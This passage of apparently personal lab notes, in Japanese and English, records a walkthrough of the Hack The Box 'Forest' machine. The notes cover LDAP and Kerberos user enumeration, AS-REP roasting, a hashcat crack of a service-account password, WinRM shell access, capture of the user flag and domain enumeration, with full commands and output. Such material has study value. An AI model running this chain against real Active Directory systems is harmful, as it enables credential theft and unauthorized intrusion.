'521':
groupname: Read-only Domain Controllers
type: domain
'522':
groupname: Cloneable Domain Controllers
type: domain
'525':
groupname: Protected Users
type: domain
'526':
groupname: Key Admins
type: domain
'527':
groupname: Enterprise Key Admins
type: domain
'544':
groupname: Administrators
type: builtin
'545':
groupname: Users
type: builtin
'546':
groupname: Guests
type: builtin
'548':
groupname: Account Operators
type: builtin
'549':
groupname: Server Operators
type: builtin
'550':
groupname: Print Operators
type: builtin
'551':
groupname: Backup Operators
type: builtin
'552':
groupname: Replicator
type: builtin
'553':
groupname: RAS and IAS Servers
type: local
'554':
groupname: Pre-Windows 2000 Compatible Access
type: builtin
'555':
groupname: Remote Desktop Users
type: builtin
'556':
groupname: Network Configuration Operators
type: builtin
'557':
groupname: Incoming Forest Trust Builders
type: builtin
'558':
groupname: Performance Monitor Users
type: builtin
'559':
groupname: Performance Log Users
type: builtin
'560':
groupname: Windows Authorization Access Group
type: builtin
'561':
groupname: Terminal Server License Servers
type: builtin
'562':
groupname: Distributed COM Users
type: builtin
'568':
groupname: IIS_IUSRS
type: builtin
'569':
groupname: Cryptographic Operators
type: builtin
'571':
groupname: Allowed RODC Password Replication Group
type: local
'572':
groupname: Denied RODC Password Replication Group
type: local
'573':
groupname: Event Log Readers
type: builtin
'574':
groupname: Certificate Service DCOM Access
type: builtin
'575':
groupname: RDS Remote Access Servers
type: builtin
'576':
groupname: RDS Endpoint Servers
type: builtin
'577':
groupname: RDS Management Servers
type: builtin
'578':
groupname: Hyper-V Administrators
type: builtin
'579':
groupname: Access Control Assistance Operators
type: builtin
'580':
groupname: Remote Management Users
type: builtin
'581':
groupname: System Managed Accounts Group
type: builtin
'582':
groupname: Storage Replica Administrators
type: builtin
=======================================
| Shares via RPC on 10.129.56.26 |
=======================================
[*] Enumerating shares
[+] Found 0 share(s) for user '' with password '', try a different user
==========================================
| Policies via RPC for 10.129.56.26 |
==========================================
[*] Trying port 445/tcp
[+] Found policy:
Domain password information:
Password history length: 24
Minimum password length: 7
Minimum password age: 1 day 4 minutes
Maximum password age: not set
Password properties:
- DOMAIN_PASSWORD_COMPLEX: false
- DOMAIN_PASSWORD_NO_ANON_CHANGE: false
- DOMAIN_PASSWORD_NO_CLEAR_CHANGE: false
- DOMAIN_PASSWORD_LOCKOUT_ADMINS: false
- DOMAIN_PASSWORD_PASSWORD_STORE_CLEARTEXT: false
- DOMAIN_PASSWORD_REFUSE_PASSWORD_CHANGE: false
Domain lockout information:
Lockout observation window: 30 minutes
Lockout duration: 30 minutes
Lockout threshold: None
Domain logoff information:
Force logoff time: not set
==========================================
| Printers via RPC for 10.129.56.26 |
==========================================
[-] Could not get printer info via 'enumprinters': STATUS_ACCESS_DENIED
Completed after 20.78 seconds
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$
匿名アクセス(NULL)成功。
ユーザのリストが取得できた。
SMBv1が有効、eternalblue?
ユーザリストは
users.txt
ldap列挙
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
ldapsearch -x -H ldap://10.129.56.26 -s base namingContexts
ldapsearch -x -H ldap://10.129.56.26 -b "DC=htb,DC=local"
ldapsearch -x -H ldap://10.129.56.26 -b "DC=htb,DC=local" | grep -iE 'pwd|pass|password|legacy|secret|cred|key|token|description|info|comment|scriptpath|service|admin|backup|sql|vnc|rdp|winrm|ssh'
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ ldapsearch -x -H ldap://10.129.56.26 -s base namingContexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingContexts
#
#
dn:
namingContexts: DC=htb,DC=local
namingContexts: CN=Configuration,DC=htb,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=htb,DC=local
namingContexts: DC=DomainDnsZones,DC=htb,DC=local
namingContexts: DC=ForestDnsZones,DC=htb,DC=local
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$
ldapsearch -x -H ldap://10.129.56.26 -b "DC=htb,DC=local"
はめちゃくちゃ量がでる。
ldapsearch -x -LLL -H ldap://10.129.56.26 \
-b "DC=htb,DC=local" > ldap_all.txt
めちゃくちゃ量が出る時のおすすめ
⑥ 全データをファイルへ保存
ldapsearch -x -LLL -H ldap://10.129.56.26 -b "DC=htb,DC=local" > ldap_all.txt
② ユーザー名と説明欄を取得(おすすめ)
ldapsearch -x -LLL -H ldap://10.129.56.26 -b "DC=htb,DC=local" "(&(objectCategory=person)(objectClass=user))" sAMAccountName description
⇒出た場合は、上記で実施
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ ldapsearch -x -LLL -H ldap://10.129.56.26 -b "DC=htb,DC=local" > ldap_all.txt
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ ldapsearch -x -LLL -H ldap://10.129.56.26 -b "DC=htb,DC=local" "(&(objectCategory=person)(objectClass=user))" sAMAccountName description
dn: CN=Guest,CN=Users,DC=htb,DC=local
description: Built-in account for guest access to the computer/domain
sAMAccountName: Guest
dn: CN=DefaultAccount,CN=Users,DC=htb,DC=local
description: A user account managed by the system.
sAMAccountName: DefaultAccount
dn: CN=Exchange Online-ApplicationAccount,CN=Users,DC=htb,DC=local
sAMAccountName: $331000-VK4ADACQNUCA
dn: CN=SystemMailbox{1f05a927-89c0-4725-adca-4527114196a1},CN=Users,DC=htb,DC=
local
sAMAccountName: SM_2c8eef0a09b545acb
dn: CN=SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c},CN=Users,DC=htb,DC=
local
sAMAccountName: SM_ca8c2ed5bdab4dc9b
dn: CN=SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9},CN=Users,DC=htb,DC=
local
sAMAccountName: SM_75a538d3025e4db9a
dn: CN=DiscoverySearchMailbox {D919BA05-46A6-415f-80AD-7E09334BB852},CN=Users,
DC=htb,DC=local
sAMAccountName: SM_681f53d4942840e18
dn: CN=Migration.8f3e7716-2011-43e4-96b1-aba62d229136,CN=Users,DC=htb,DC=local
sAMAccountName: SM_1b41c9286325456bb
dn: CN=FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042,CN=Users,DC=htb,DC=
local
sAMAccountName: SM_9b69f1b9d2cc45549
dn: CN=SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201},CN=Users,DC=htb,DC=
local
sAMAccountName: SM_7c96b981967141ebb
dn: CN=SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA},CN=Users,DC=htb,DC=
local
sAMAccountName: SM_c75ee099d0a64c91b
dn: CN=SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9},CN=Users,DC=htb,DC=
local
sAMAccountName: SM_1ffab36a2f5f479cb
dn: CN=HealthMailboxc3d7722415ad41a5b19e3e00e165edbe,CN=Monitoring Mailboxes,C
N=Microsoft Exchange System Objects,DC=htb,DC=local
sAMAccountName: HealthMailboxc3d7722
dn: CN=HealthMailboxfc9daad117b84fe08b081886bd8a5a50,CN=Monitoring Mailboxes,C
N=Microsoft Exchange System Objects,DC=htb,DC=local
sAMAccountName: HealthMailboxfc9daad
dn: CN=HealthMailboxc0a90c97d4994429b15003d6a518f3f5,CN=Monitoring Mailboxes,C
N=Microsoft Exchange System Objects,DC=htb,DC=local
sAMAccountName: HealthMailboxc0a90c9
dn: CN=HealthMailbox670628ec4dd64321acfdf6e67db3a2d8,CN=Monitoring Mailboxes,C
N=Microsoft Exchange System Objects,DC=htb,DC=local
sAMAccountName: HealthMailbox670628e
dn: CN=HealthMailbox968e74dd3edb414cb4018376e7dd95ba,CN=Monitoring Mailboxes,C
N=Microsoft Exchange System Objects,DC=htb,DC=local
sAMAccountName: HealthMailbox968e74d
dn: CN=HealthMailbox6ded67848a234577a1756e072081d01f,CN=Monitoring Mailboxes,C
N=Microsoft Exchange System Objects,DC=htb,DC=local
sAMAccountName: HealthMailbox6ded678
dn: CN=HealthMailbox83d6781be36b4bbf8893b03c2ee379ab,CN=Monitoring Mailboxes,C
N=Microsoft Exchange System Objects,DC=htb,DC=local
sAMAccountName: HealthMailbox83d6781
dn: CN=HealthMailboxfd87238e536e49e08738480d300e3772,CN=Monitoring Mailboxes,C
N=Microsoft Exchange System Objects,DC=htb,DC=local
sAMAccountName: HealthMailboxfd87238
dn: CN=HealthMailboxb01ac647a64648d2a5fa21df27058a24,CN=Monitoring Mailboxes,C
N=Microsoft Exchange System Objects,DC=htb,DC=local
sAMAccountName: HealthMailboxb01ac64
dn: CN=HealthMailbox7108a4e350f84b32a7a90d8e718f78cf,CN=Monitoring Mailboxes,C
N=Microsoft Exchange System Objects,DC=htb,DC=local
sAMAccountName: HealthMailbox7108a4e
dn: CN=HealthMailbox0659cc188f4c4f9f978f6c2142c4181e,CN=Monitoring Mailboxes,C
N=Microsoft Exchange System Objects,DC=htb,DC=local
sAMAccountName: HealthMailbox0659cc1
dn: CN=Sebastien Caron,OU=Exchange Administrators,OU=Information Technology,OU
=Employees,DC=htb,DC=local
sAMAccountName: sebastien
dn: CN=Lucinda Berger,OU=IT Management,OU=Information Technology,OU=Employees,
DC=htb,DC=local
sAMAccountName: lucinda
dn: CN=Andy Hislip,OU=Helpdesk,OU=Information Technology,OU=Employees,DC=htb,D
C=local
sAMAccountName: andy
dn: CN=Mark Brandt,OU=Sysadmins,OU=Information Technology,OU=Employees,DC=htb,
DC=local
sAMAccountName: mark
dn: CN=Santi Rodriguez,OU=Developers,OU=Information Technology,OU=Employees,DC
=htb,DC=local
sAMAccountName: santi
# refldap://ForestDnsZones.htb.local/DC=ForestDnsZones,DC=htb,DC=local
# refldap://DomainDnsZones.htb.local/DC=DomainDnsZones,DC=htb,DC=local
# refldap://htb.local/CN=Configuration,DC=htb,DC=local
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$
kerberos列挙
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-10-14 23:02:31Z)
464/tcp open kpasswd5?
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ kerbrute userenum -d htb.local users2.txt --dc 10.129.56.26
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 10/16/26 - Ronnie Flathers @ropnop
2026/10/16 10:05:44 > Using KDC(s):
2026/10/16 10:05:44 > 10.129.56.26:88
2026/10/16 10:05:44 > [+] VALID USERNAME: HealthMailboxc3d7722@htb.local
2026/10/16 10:05:44 > [+] VALID USERNAME: HealthMailboxfc9daad@htb.local
2026/10/16 10:05:44 > [+] VALID USERNAME: HealthMailbox968e74d@htb.local
2026/10/16 10:05:44 > [+] VALID USERNAME: HealthMailbox670628e@htb.local
2026/10/16 10:05:44 > [+] VALID USERNAME: HealthMailboxb01ac64@htb.local
2026/10/16 10:05:44 > [+] VALID USERNAME: HealthMailboxc0a90c9@htb.local
2026/10/16 10:05:44 > [+] VALID USERNAME: HealthMailboxfd87238@htb.local
2026/10/16 10:05:44 > [+] VALID USERNAME: HealthMailbox83d6781@htb.local
2026/10/16 10:05:44 > [+] VALID USERNAME: HealthMailbox6ded678@htb.local
2026/10/16 10:05:44 > [+] VALID USERNAME: HealthMailbox7108a4e@htb.local
2026/10/16 10:05:45 > [+] VALID USERNAME: HealthMailbox0659cc1@htb.local
2026/10/16 10:05:45 > [+] VALID USERNAME: sebastien@htb.local
2026/10/16 10:05:45 > [+] VALID USERNAME: lucinda@htb.local
2026/10/16 10:05:45 > [+] VALID USERNAME: santi@htb.local
2026/10/16 10:05:45 > [+] VALID USERNAME: andy@htb.local
2026/10/16 10:05:45 > [+] VALID USERNAME: svc-alfresco@htb.local
2026/10/16 10:05:45 > [+] VALID USERNAME: Administrator@htb.local
2026/10/16 10:05:45 > [+] VALID USERNAME: mark@htb.local
2026/10/16 10:05:45 > Done! Tested 31 usernames (18 valid) in 0.323 seconds
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ impacket-GetNPUsers htb.local/ -usersfile users2.txt -dc-ip 10.129.56.26 -no-pass -format hashcat -outputfile asrep.hash
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User HealthMailboxc3d7722 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxfc9daad doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxc0a90c9 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox670628e doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox968e74d doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox6ded678 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox83d6781 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxfd87238 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxb01ac64 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox7108a4e doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailbox0659cc1 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc-alfresco@HTB.LOCAL:d51e1a212dd83271c3c71723763352c6$15c5f47117fa15f5958293198a902a75f75553397b3762900167373314a9208d548518bd056c12d4dc3948cc667e730294c05a3ccab31d15183418fc5ba3556b25c4880a487474d592fea8202c88ceeb63897b5a6b9616bdc7641086938e4d9ea83dda5858c49ddcb8d2b935522186065985fb24a5f2a1d46427dde8502facf2fcccb0e5f210ebaef94c070a6acbdd4491521bc283f824079ea317614730454162119a91caa89df7886629e375e99ddfc239d14b400196a5e570ceb6fb095d65d85cbd427ef74da33c5bbdbcce1a64710577552e1f23793b49352104a7bde7cf521581f86f12
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #01: cpu--0x000, 1467/2935 MB (512 MB allocatable), 2MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 512 MB (2415 MB free)
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
$krb5asrep$23$svc-alfresco@HTB.LOCAL:d51e1a212dd83271c3c71723763352c6$15c5f47117fa15f5958293198a902a75f75553397b3762900167373314a9208d548518bd056c12d4dc3948cc667e730294c05a3ccab31d15183418fc5ba3556b25c4880a487474d592fea8202c88ceeb63897b5a6b9616bdc7641086938e4d9ea83dda5858c49ddcb8d2b935522186065985fb24a5f2a1d46427dde8502facf2fcccb0e5f210ebaef94c070a6acbdd4491521bc283f824079ea317614730454162119a91caa89df7886629e375e99ddfc239d14b400196a5e570ceb6fb095d65d85cbd427ef74da33c5bbdbcce1a64710577552e1f23793b49352104a7bde7cf521581f86f12:s3rvice
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$svc-alfresco@HTB.LOCAL:d51e1a212dd832...f86f12
Time.Started.....: Fri Oct 16 10:06:28 2026 (2 secs)
Time.Estimated...: Fri Oct 16 10:06:30 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 1728.8 kH/s (1.75ms) @ Accel:1024 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 4085760/14344385 (28.48%)
Rejected.........: 0/4085760 (0.00%)
Restore.Point....: 4083712/14344385 (28.47%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: s523480 -> s3r3ndipit
Hardware.Mon.#01.: Util: 91%
Started: Fri Oct 16 10:06:27 2026
Stopped: Fri Oct 16 10:06:32 2026
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$
svc-alfresco
s3rvice
for p in smb rdp winrm; do nxc $p 10.129.56.26 -u svc-alfresco -p 's3rvice'; done
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ for p in smb rdp winrm; do nxc $p 10.129.56.26 -u svc-alfresco -p 's3rvice'; done
SMB 10.129.56.26 445 FOREST [*] Windows 10 / Server 2016 Build 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
SMB 10.129.56.26 445 FOREST [+] htb.local\svc-alfresco:s3rvice
WINRM 10.129.56.26 5985 FOREST [*] Windows 10 / Server 2016 Build 14393 (name:FOREST) (domain:htb.local)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.56.26 5985 FOREST [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$
winrmとsmbでヒット
evil-winrm -i 10.129.56.26 -u svc-alfresco -p s3rvice
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ evil-winrm -i 10.129.56.26 -u svc-alfresco -p s3rvice
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> whoami
htb\svc-alfresco
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>
flag検索
cmd /c "dir C:\Users\root.txt /s /b"
cmd /c "dir C:\root.txt /s /b"
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> cat C:\Users\svc-alfresco\Desktop\user.txt
85cdea45e5cbd5aa249b7906de86faf6
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>
⇒flagをGET
whoami /all
whoami /priv
klist
dir C:\Users
net user %USERNAME% /domain
net group "Domain Admins" /domain
nltest /dclist:%USERDOMAIN%
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
================ =============================================
htb\svc-alfresco S-1-5-21-3072663084-364016917-1341370565-1147
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============================================= ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Account Operators Alias S-1-5-32-548 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
HTB\Privileged IT Accounts Group S-1-5-21-3072663084-364016917-1341370565-1149 Mandatory group, Enabled by default, Enabled group
HTB\Service Accounts Group S-1-5-21-3072663084-364016917-1341370565-1148 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> klist
Current LogonId is 0:0x765679
Error calling API LsaCallAuthenticationPackage (ShowTickets substatus): 1312
klist failed with 0xc000005f/-1073741729: A specified logon session does not exist. It may already have been terminated.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> dir C:\Users
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/18/2019 10:09 AM Administrator
d-r--- 11/20/2016 6:39 PM Public
d----- 9/22/2019 3:29 PM sebastien
d----- 9/22/2019 4:02 PM svc-alfresco
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user %USERNAME% /domain
net.exe : The user name could not be found.
+ CategoryInfo : NotSpecified: (The user name could not be found.:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
More help is available by typing NET HELPMSG 2221.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Domain Admins" /domain
Group name Domain Admins
Comment Designated administrators of the domain
Members
-------------------------------------------------------------------------------
Administrator
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> nltest /dclist:%USERDOMAIN%
nltest.exe : Cannot find DC to get DC list from.Status = 1355 0x54b ERROR_NO_SUCH_DOMAIN
+ CategoryInfo : NotSpecified: (Cannot find DC ..._NO_SUCH_DOMAIN:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
The command completed successfully
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>
net user svc-alfresco /domain
net user $env:USERNAME /domain
cmd /c "net user %USERNAME% /domain"
nltest /dclist:htb.local
nltest /dclist:$env:USERDOMAIN
cmd /c "nltest /dclist:%USERDOMAIN%"
nltest /dclist:htb.local
↓↓↓にチートシートを置換
nltest /dsgetdc:htb.local
nltest /dsgetdc:htb.local
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user svc-alfresco /domain
User name svc-alfresco
Full Name svc-alfresco
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 10/15/2026 6:28:39 PM
Password expires Never
Password changeable 10/16/2026 6:28:39 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 10/15/2026 6:09:56 PM
Logon hours allowed All
Local Group Memberships
Global Group memberships *Domain Users *Service Accounts
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user $env:USERNAME /domain
User name svc-alfresco
Full Name svc-alfresco
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 10/15/2026 6:28:39 PM
Password expires Never
Password changeable 10/16/2026 6:28:39 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 10/15/2026 6:09:56 PM
Logon hours allowed All
Local Group Memberships
Global Group memberships *Domain Users *Service Accounts
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> cmd /c "net user %USERNAME% /domain"
User name svc-alfresco
Full Name svc-alfresco
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 10/15/2026 6:28:39 PM
Password expires Never
Password changeable 10/16/2026 6:28:39 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 10/15/2026 6:09:56 PM
Logon hours allowed All
Local Group Memberships
Global Group memberships *Domain Users *Service Accounts
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> nltest /dclist:htb.local
Get list of DCs in domain 'htb.local' from '\\FOREST.htb.local'.
FOREST.htb.local [PDC] [DS] Site: Default-First-Site-Name
The command completed successfully
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> nltest /dsgetdc:htb.local
DC: \\FOREST.htb.local
Address: \\dead:beef::4c76:8e74:1668:b0d9
Dom Guid: dff0c71a-a949-4b26-8c7b-52e3e2cb6eab
Dom Name: htb.local
Forest Name: htb.local
Dc Site Name: Default-First-Site-Name
Our Site Name: Default-First-Site-Name
Flags: PDC GC DS LDAP KDC TIMESERV GTIMESERV WRITABLE DNS_DC DNS_DOMAIN DNS_FOREST CLOSE_SITE FULL_SECRET WS DS_8 DS_9 DS_10
The command completed successfully
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>
smb
nxc smb 10.129.56.26 -d htb.local -u svc-alfresco -p 's3rvice' --shares
smbmap -H 10.129.56.26 -u svc-alfresco -p 's3rvice' -d htb.local
smbclient //10.129.56.26/IPC$ -U 'htb/svc-alfresco%s3rvice'
smbclient //10.129.56.26/NETLOGON -U 'htb/svc-alfresco%s3rvice'
smbclient //10.129.56.26/SYSVOL -U 'htb/svc-alfresco%s3rvice'
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ nxc smb 10.129.56.26 -d htb.local -u svc-alfresco -p 's3rvice' --shares
SMB 10.129.56.26 445 FOREST [*] Windows 10 / Server 2016 Build 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
SMB 10.129.56.26 445 FOREST [+] htb.local\svc-alfresco:s3rvice
SMB 10.129.56.26 445 FOREST [*] Enumerated shares
SMB 10.129.56.26 445 FOREST Share Permissions Remark
SMB 10.129.56.26 445 FOREST ----- ----------- ------
SMB 10.129.56.26 445 FOREST ADMIN$ Remote Admin
SMB 10.129.56.26 445 FOREST C$ Default share
SMB 10.129.56.26 445 FOREST IPC$ READ Remote IPC
SMB 10.129.56.26 445 FOREST NETLOGON READ Logon server share
SMB 10.129.56.26 445 FOREST SYSVOL READ Logon server share
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ smbmap -H 10.129.56.26 -u svc-alfresco -p 's3rvice' -d htb.local
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] IP: 10.129.56.26:445 Name: forest.htb.local Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
SYSVOL READ ONLY Logon server share
[*] Closed 1 connections
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ smbclient //10.129.56.26/IPC$ -U 'htb/svc-alfresco%s3rvice'
Try "help" to get a list of possible commands.
smb: \> ^C
